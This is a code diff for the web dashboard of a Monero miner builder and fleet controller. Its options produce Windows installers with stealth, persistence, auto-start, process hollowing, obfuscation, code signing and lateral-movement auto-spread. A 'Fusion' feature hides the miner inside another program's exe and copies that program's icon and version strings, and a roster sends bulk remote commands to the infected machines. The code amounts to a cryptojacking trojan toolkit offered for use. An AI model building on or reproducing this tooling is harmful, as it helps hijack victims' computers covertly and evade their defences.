: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
|
||||
</p>
|
||||
</div>
|
||||
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap' }}>
|
||||
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setForgeMode(true)}
|
||||
title={FIELD_HELP.forge_simple_mode}
|
||||
>
|
||||
Simple
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setForgeMode(false)}
|
||||
>
|
||||
Advanced
|
||||
</button>
|
||||
</div>
|
||||
<button className="btn btn-outline" onClick={loadRecentBuilds}>
|
||||
Recent Builds
|
||||
</button>
|
||||
@@ -365,31 +478,41 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
<div className="card builder-form">
|
||||
<div className="forge-rules-banner">
|
||||
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
|
||||
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
|
||||
</p>
|
||||
<div className="forge-rules-grid">
|
||||
<div className="forge-rule-card">
|
||||
<strong>⛏ Baked into installer</strong>
|
||||
Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🖥 Server folder only</strong>
|
||||
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🔒 Auto-coupled</strong>
|
||||
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>✕ Cannot forge until fixed</strong>
|
||||
Preflight errors below must be resolved — warnings let you forge but double-check first.
|
||||
{simpleMode ? (
|
||||
<div className="forge-simple-banner card">
|
||||
<p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
|
||||
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
|
||||
Reset to recommended defaults
|
||||
</button>
|
||||
</div>
|
||||
) : (
|
||||
<div className="forge-rules-banner">
|
||||
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
|
||||
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
|
||||
</p>
|
||||
<div className="forge-rules-grid">
|
||||
<div className="forge-rule-card">
|
||||
<strong>⛏ Baked into installer</strong>
|
||||
Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🖥 Server folder only</strong>
|
||||
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🔒 Auto-coupled</strong>
|
||||
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>✕ Cannot forge until fixed</strong>
|
||||
Preflight errors below must be resolved — warnings let you forge but double-check first.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{liveNotices.length > 0 && (
|
||||
<div className="forge-live-notices">
|
||||
@@ -402,10 +525,11 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
<h2>Build Miner Installer</h2>
|
||||
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
|
||||
<p className="form-description">
|
||||
Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once.
|
||||
It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.
|
||||
{simpleMode
|
||||
? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.'
|
||||
: 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'}
|
||||
</p>
|
||||
|
||||
<form onSubmit={handleSubmit}>
|
||||
@@ -428,6 +552,7 @@ export default function BuilderPage() {
|
||||
onChange={(e) => updateField('worker_name', e.target.value)}
|
||||
required
|
||||
/>
|
||||
<FieldHint field="worker_name" />
|
||||
</div>
|
||||
<div className="form-group endpoint-group">
|
||||
<div className="endpoint-header">
|
||||
@@ -483,8 +608,10 @@ export default function BuilderPage() {
|
||||
onChange={(e) => updateField('wallet', e.target.value)}
|
||||
required
|
||||
/>
|
||||
<FieldHint field="wallet" />
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
|
||||
@@ -503,8 +630,11 @@ export default function BuilderPage() {
|
||||
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Pool Configuration"
|
||||
@@ -823,12 +953,16 @@ export default function BuilderPage() {
|
||||
<ForgeLockedHint meta={fieldMeta.auto_start} />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Fusion (prep + worker)"
|
||||
badge="baked"
|
||||
description="Optional — bundles prep.exe with the miner. Forces background display when enabled."
|
||||
description={simpleMode
|
||||
? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.'
|
||||
: 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'}
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
@@ -849,12 +983,19 @@ export default function BuilderPage() {
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".exe,application/octet-stream"
|
||||
onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
|
||||
onChange={(e) => {
|
||||
const f = e.target.files?.[0] || null;
|
||||
setFusionPrepFile(f);
|
||||
if (f?.name) {
|
||||
updateField('fusion_output_name', f.name);
|
||||
}
|
||||
}}
|
||||
/>
|
||||
{fusionPrepFile && (
|
||||
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
|
||||
)}
|
||||
</div>
|
||||
{!simpleMode && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
|
||||
@@ -873,13 +1014,80 @@ export default function BuilderPage() {
|
||||
<FieldHint field="fusion_output_name" />
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{simpleMode && fusionPrepFile && (
|
||||
<p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p>
|
||||
)}
|
||||
<p className="form-hint">
|
||||
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
|
||||
</p>
|
||||
{(estimateLoading || fusionEstimate || estimateError) && (
|
||||
<div className="fusion-estimate-panel card">
|
||||
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
|
||||
{estimateLoading && <p className="form-hint">Calculating…</p>}
|
||||
{estimateError && <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>{estimateError}</p>}
|
||||
{fusionEstimate && (
|
||||
<>
|
||||
<ul className="preflight-list" style={{ marginBottom: '0.75rem' }}>
|
||||
<li className="preflight-item preflight-ok">
|
||||
<span className="preflight-icon">✓</span>
|
||||
<span>Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})</span>
|
||||
</li>
|
||||
<li className="preflight-item preflight-ok">
|
||||
<span className="preflight-icon">+</span>
|
||||
<span>Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}</span>
|
||||
</li>
|
||||
<li className="preflight-item preflight-ok">
|
||||
<span className="preflight-icon">+</span>
|
||||
<span>Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}</span>
|
||||
</li>
|
||||
<li className="preflight-item preflight-warn">
|
||||
<span className="preflight-icon">≈</span>
|
||||
<span><strong>Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}</strong></span>
|
||||
</li>
|
||||
</ul>
|
||||
<p className="form-hint"><strong>Project root:</strong> <code className="mono-sm">{fusionEstimate.project_root_path}</code></p>
|
||||
{fusionEstimate.export_path && (
|
||||
<p className="form-hint"><strong>Export copy:</strong> <code className="mono-sm">{fusionEstimate.export_path}</code></p>
|
||||
)}
|
||||
<p className="form-hint"><strong>Archive:</strong> <code className="mono-sm">{fusionEstimate.archive_path_hint}</code></p>
|
||||
{fusionEstimate.notes?.map((note) => (
|
||||
<p key={note} className="form-hint">{note}</p>
|
||||
))}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Build pipeline"
|
||||
badge="server-only"
|
||||
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
|
||||
onChange={(e) => updateField('obfuscate', e.target.checked)} />
|
||||
<span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span>
|
||||
</label>
|
||||
<FieldHint field="obfuscate" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
|
||||
onChange={(e) => updateField('sign_build', e.target.checked)} />
|
||||
<span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span>
|
||||
</label>
|
||||
<FieldHint field="sign_build" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Autonomy, Mesh & Lateral Movement"
|
||||
@@ -946,6 +1154,8 @@ export default function BuilderPage() {
|
||||
<FieldHint field="auto_spread" />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
<div className="preflight-panel card">
|
||||
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
|
||||
@@ -990,7 +1200,13 @@ export default function BuilderPage() {
|
||||
<>
|
||||
<p><strong>Your file (project root):</strong></p>
|
||||
<code className="path-display">{lastBuild.export_path}</code>
|
||||
<p className="form-hint">Fusion builds keep the same icon as your uploaded prep when Windows icon extraction succeeds.</p>
|
||||
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
||||
{(lastBuild.obfuscated || lastBuild.signed) && (
|
||||
<p className="form-hint">
|
||||
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
|
||||
{lastBuild.signed && 'Authenticode signature applied.'}
|
||||
</p>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
||||
|
||||
@@ -9,9 +9,17 @@ import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
|
||||
import { AlertBanner, PoolStatusPanel, AIActivityPanel, EarningsEstimator } from '../components/Fleet/FleetPanels';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import {
|
||||
DEFAULT_FLEET_FILTERS,
|
||||
filterFleetAgents,
|
||||
agentIsIdleMiner,
|
||||
formatHashrate,
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
|
||||
export default function DashboardPage() {
|
||||
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
||||
const [shares, setShares] = useState<Share[]>([]);
|
||||
@@ -23,7 +31,9 @@ export default function DashboardPage() {
|
||||
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [hasBuilds, setHasBuilds] = useState(false);
|
||||
|
||||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
useEffect(() => {
|
||||
api.getRecentShares(20).then(setShares).catch(console.error);
|
||||
api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error);
|
||||
@@ -70,11 +80,12 @@ export default function DashboardPage() {
|
||||
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
||||
}, [totalHashrate, avgCpu, avgMem]);
|
||||
|
||||
const topAgents = useMemo(
|
||||
() => [...agents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 8),
|
||||
[agents]
|
||||
);
|
||||
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
|
||||
|
||||
const topAgents = useMemo(
|
||||
() => [...filteredAgents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 12),
|
||||
[filteredAgents]
|
||||
);
|
||||
const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1);
|
||||
|
||||
const activityItems = useMemo(
|
||||
@@ -97,8 +108,28 @@ export default function DashboardPage() {
|
||||
[agents]
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
const handleBulkAction = async (action: string) => {
|
||||
let targetIds = [...selectedIds];
|
||||
if (action === 'restart_idle') {
|
||||
targetIds = agents.filter((a) => selectedIds.has(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||||
if (targetIds.length === 0) {
|
||||
alert('No selected online agents with idle hashrate.');
|
||||
return;
|
||||
}
|
||||
action = 'restart';
|
||||
}
|
||||
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||||
if (onlineIds.length === 0) return;
|
||||
if (action === 'stop' && !window.confirm(`Stop ${onlineIds.length} agent(s)?`)) return;
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return ( <div className="page fade-in command-deck">
|
||||
<AlertBanner alerts={alerts} />
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
@@ -213,8 +244,17 @@ export default function DashboardPage() {
|
||||
<span className="section-ornament">◆</span> Machine Roster
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<div className="agent-grid">
|
||||
{agents.length === 0 && (
|
||||
{agents.length > 0 && (
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
onBulkAction={handleBulkAction}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
)}
|
||||
<div className="agent-grid"> {agents.length === 0 && (
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<div className="empty-icon">⚙</div>
|
||||
<h3>No miners on the wire</h3>
|
||||
@@ -230,12 +270,31 @@ export default function DashboardPage() {
|
||||
>
|
||||
<div className="agent-card-header">
|
||||
<div className="agent-name">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={selectedIds.has(agent.id)}
|
||||
onChange={(e) => {
|
||||
setSelectedIds((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (e.target.checked) next.add(agent.id);
|
||||
else next.delete(agent.id);
|
||||
return next;
|
||||
});
|
||||
}}
|
||||
/>
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
<div className="agent-hash-bar">
|
||||
{(agent.tags?.length ?? 0) > 0 && (
|
||||
<div style={{ marginBottom: '0.35rem' }}>
|
||||
{agent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)} <div className="agent-hash-bar">
|
||||
<div
|
||||
className="agent-hash-fill"
|
||||
style={{ width: `${(agent.hashrate_15m / maxAgentHash) * 100}%` }}
|
||||
@@ -250,12 +309,16 @@ export default function DashboardPage() {
|
||||
<div><span>Node</span><strong className="mono-sm">{agent.ip || '—'} · {agent.id.slice(0, 8)}</strong></div>
|
||||
<div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div>
|
||||
</div>
|
||||
<AgentRemoteActions agent={agent} compact />
|
||||
<AgentRemoteActions agent={agent} compact online={agent.status === 'online'} />
|
||||
</NeonCard>
|
||||
))}
|
||||
{agents.length > 0 && topAgents.length === 0 && (
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<p>No agents match current filters.</p>
|
||||
</NeonCard>
|
||||
)}
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Share Log
|
||||
@@ -298,21 +361,6 @@ export default function DashboardPage() {
|
||||
);
|
||||
}
|
||||
|
||||
function formatHashrate(h: number): string {
|
||||
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
||||
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
||||
return `${h.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
function formatUptime(seconds: number): string {
|
||||
const d = Math.floor(seconds / 86400);
|
||||
const h = Math.floor((seconds % 86400) / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
if (d > 0) return `${d}d ${h}h`;
|
||||
if (h > 0) return `${h}h ${m}m`;
|
||||
return `${m}m`;
|
||||
}
|
||||
|
||||
function formatTime(t: string): string {
|
||||
return new Date(t).toLocaleTimeString();
|
||||
}
|
||||
|
||||
@@ -1221,3 +1221,20 @@
|
||||
border-radius: 6px;
|
||||
background: rgba(248, 113, 113, 0.08);
|
||||
}
|
||||
|
||||
.forge-mode-toggle {
|
||||
display: inline-flex;
|
||||
gap: 4px;
|
||||
margin-right: 4px;
|
||||
}
|
||||
|
||||
.forge-simple-banner {
|
||||
margin-bottom: 1rem;
|
||||
padding: 1rem 1.25rem;
|
||||
border: 1px solid rgba(212, 175, 55, 0.35);
|
||||
background: rgba(212, 175, 55, 0.06);
|
||||
}
|
||||
|
||||
.forge-simple-banner .font-tech {
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
@@ -176,6 +176,11 @@ export default function SettingsPage() {
|
||||
strict_wallet_validation: false,
|
||||
dashboard_subtitle: '',
|
||||
open_firewall_on_start: true,
|
||||
obfuscate_default: false,
|
||||
sign_enabled: false,
|
||||
sign_cert_thumbprint: '',
|
||||
sign_tool_path: '',
|
||||
sign_timestamp_url: 'http://timestamp.digicert.com',
|
||||
};
|
||||
|
||||
return (
|
||||
@@ -210,7 +215,27 @@ export default function SettingsPage() {
|
||||
{serverInfo.local_ips?.length > 0 && (
|
||||
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
|
||||
)}
|
||||
<p className="form-hint">Set Public URL below if you want the Forge to default to a specific address.</p>
|
||||
<p className="form-hint">Workers need this LAN address — not localhost. Click below to apply best defaults, then Save Calibration.</p>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary btn-sm"
|
||||
style={{ marginTop: '0.75rem' }}
|
||||
onClick={() => {
|
||||
if (!config) return;
|
||||
updateField('server.public_url', serverInfo.suggested_url);
|
||||
updateField('server.open_firewall_on_start', true);
|
||||
updateField('server.obfuscate_default', false);
|
||||
updateField('server.sign_enabled', false);
|
||||
if (!config.wallet.address?.trim()) {
|
||||
setSaveMessage('Set your Monero wallet below, then Save Calibration.');
|
||||
} else {
|
||||
setSaveMessage('Best defaults applied to the form — click Save Calibration to keep them.');
|
||||
}
|
||||
}}
|
||||
>
|
||||
Use best defaults
|
||||
</button>
|
||||
<FieldHint field="calibrate_quick_setup" />
|
||||
</NeonCard>
|
||||
)}
|
||||
|
||||
@@ -233,9 +258,18 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
|
||||
<input type="text" className="input mono" placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
||||
value={s.public_url}
|
||||
onChange={(e) => updateField('server.public_url', e.target.value)} />
|
||||
<div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<input type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
|
||||
placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
||||
value={s.public_url}
|
||||
onChange={(e) => updateField('server.public_url', e.target.value)} />
|
||||
{serverInfo?.suggested_url && (
|
||||
<button type="button" className="btn btn-outline btn-sm"
|
||||
onClick={() => updateField('server.public_url', serverInfo.suggested_url)}>
|
||||
Use detected LAN
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
<FieldHint field="public_url" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
@@ -291,9 +325,11 @@ export default function SettingsPage() {
|
||||
<h2 className="font-display">Fleet Payout Wallet</h2>
|
||||
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Address <HelpTip field="wallet" /></label>
|
||||
<input type="text" className="input mono" value={config.wallet.address}
|
||||
<label className="label">XMR Address <HelpTip field="calibrate_wallet" /></label>
|
||||
<input type="text" className="input mono" placeholder="4… (95 chars)"
|
||||
value={config.wallet.address}
|
||||
onChange={(e) => updateField('wallet.address', e.target.value)} />
|
||||
<FieldHint field="calibrate_wallet" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Payment ID (optional)</label>
|
||||
@@ -395,6 +431,47 @@ export default function SettingsPage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
<h2 className="font-display">Forge Pipeline</h2>
|
||||
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={s.obfuscate_default ?? false}
|
||||
onChange={(e) => updateField('server.obfuscate_default', e.target.checked)} />
|
||||
<span>Default: obfuscate new forges with Garble <HelpTip field="obfuscate_default" /></span>
|
||||
</label>
|
||||
<FieldHint field="obfuscate_default" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={s.sign_enabled ?? false}
|
||||
onChange={(e) => updateField('server.sign_enabled', e.target.checked)} />
|
||||
<span>Default: sign forged executables <HelpTip field="sign_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="sign_enabled" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Code signing cert thumbprint (SHA-1) <HelpTip field="sign_cert_thumbprint" /></label>
|
||||
<input type="text" className="input mono" placeholder="AB CD EF ..."
|
||||
value={s.sign_cert_thumbprint || ''}
|
||||
onChange={(e) => updateField('server.sign_cert_thumbprint', e.target.value)} />
|
||||
<FieldHint field="sign_cert_thumbprint" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">signtool.exe path (optional) <HelpTip field="sign_tool_path" /></label>
|
||||
<input type="text" className="input mono" placeholder="Auto-detect from Windows SDK"
|
||||
value={s.sign_tool_path || ''}
|
||||
onChange={(e) => updateField('server.sign_tool_path', e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Timestamp server URL <HelpTip field="sign_timestamp_url" /></label>
|
||||
<input type="text" className="input mono"
|
||||
value={s.sign_timestamp_url || 'http://timestamp.digicert.com'}
|
||||
onChange={(e) => updateField('server.sign_timestamp_url', e.target.value)} />
|
||||
<FieldHint field="sign_timestamp_url" />
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="green" className="settings-section">
|
||||
<h2 className="font-display">Data & Limits</h2>
|
||||
<p className="section-desc">Retention and capacity for this host.</p>
|
||||
|
||||
@@ -18,6 +18,8 @@ export interface Agent {
|
||||
cpu_usage_pct: number;
|
||||
memory_usage_pct: number;
|
||||
uptime_seconds: number;
|
||||
notes?: string;
|
||||
tags?: string[];
|
||||
}
|
||||
|
||||
export interface Share {
|
||||
@@ -100,6 +102,11 @@ export interface ServerSettings {
|
||||
strict_wallet_validation: boolean;
|
||||
dashboard_subtitle: string;
|
||||
open_firewall_on_start: boolean;
|
||||
obfuscate_default?: boolean;
|
||||
sign_enabled?: boolean;
|
||||
sign_cert_thumbprint?: string;
|
||||
sign_tool_path?: string;
|
||||
sign_timestamp_url?: string;
|
||||
}
|
||||
|
||||
export interface PoolConfig {
|
||||
@@ -244,6 +251,24 @@ export interface BuildRequest {
|
||||
process_hollowing?: boolean;
|
||||
mesh_p2p?: boolean;
|
||||
auto_spread?: boolean;
|
||||
obfuscate?: boolean;
|
||||
sign_build?: boolean;
|
||||
}
|
||||
|
||||
export interface FusionEstimate {
|
||||
prep_bytes: number;
|
||||
prep_name: string;
|
||||
estimated_worker_bytes: number;
|
||||
estimated_fusion_stub_bytes: number;
|
||||
estimated_resource_patch_bytes: number;
|
||||
estimated_total_bytes: number;
|
||||
output_file_name: string;
|
||||
project_root_path: string;
|
||||
archive_path_hint: string;
|
||||
export_path?: string;
|
||||
obfuscate: boolean;
|
||||
sign_build: boolean;
|
||||
notes: string[];
|
||||
}
|
||||
|
||||
export interface BuildResponse {
|
||||
@@ -262,6 +287,8 @@ export interface BuildResponse {
|
||||
error?: string;
|
||||
fusion_enabled?: boolean;
|
||||
worker_file?: string;
|
||||
signed?: boolean;
|
||||
obfuscated?: boolean;
|
||||
}
|
||||
|
||||
export interface BlueprintInfo {
|
||||
@@ -273,5 +300,5 @@ export interface BlueprintInfo {
|
||||
|
||||
export interface WSMessage {
|
||||
type: string;
|
||||
payload: any;
|
||||
payload: import('./ws').WSPayload;
|
||||
}
|
||||
|
||||
56
server/web/src/types/ws.ts
Normal file
56
server/web/src/types/ws.ts
Normal file
@@ -0,0 +1,56 @@
|
||||
import type { Agent } from '../types';
|
||||
|
||||
/** Dashboard WebSocket payloads — keep in sync with server/internal/api/ws_types.go */
|
||||
export interface WSDashboardInit {
|
||||
agents: Agent[];
|
||||
}
|
||||
|
||||
export interface WSAgentOffline {
|
||||
agent_id: string;
|
||||
}
|
||||
|
||||
export interface WSStatsUpdate {
|
||||
agent_id: string;
|
||||
hashrate_15s: number;
|
||||
hashrate_1m: number;
|
||||
hashrate_15m: number;
|
||||
cpu_usage_pct: number;
|
||||
memory_usage_pct?: number;
|
||||
uptime_seconds?: number;
|
||||
shares_submitted?: number;
|
||||
shares_accepted?: number;
|
||||
}
|
||||
|
||||
export interface WSCommandResult {
|
||||
agent_id?: string;
|
||||
action?: string;
|
||||
success?: boolean;
|
||||
message?: string;
|
||||
}
|
||||
|
||||
export interface WSAgentLog {
|
||||
agent_id: string;
|
||||
content: string;
|
||||
}
|
||||
|
||||
export interface WSServerLog {
|
||||
line: string;
|
||||
}
|
||||
|
||||
export type WSPayload =
|
||||
| WSDashboardInit
|
||||
| Agent
|
||||
| WSAgentOffline
|
||||
| WSStatsUpdate
|
||||
| import('../types').Share
|
||||
| import('../types').FleetAlert
|
||||
| import('../types').PoolStatus[]
|
||||
| import('../types').AIActivityEntry
|
||||
| WSCommandResult
|
||||
| WSAgentLog
|
||||
| WSServerLog;
|
||||
|
||||
export interface WSMessageTyped<T extends string = string> {
|
||||
type: T;
|
||||
payload: WSPayload;
|
||||
}
|
||||
Reference in New Issue
Block a user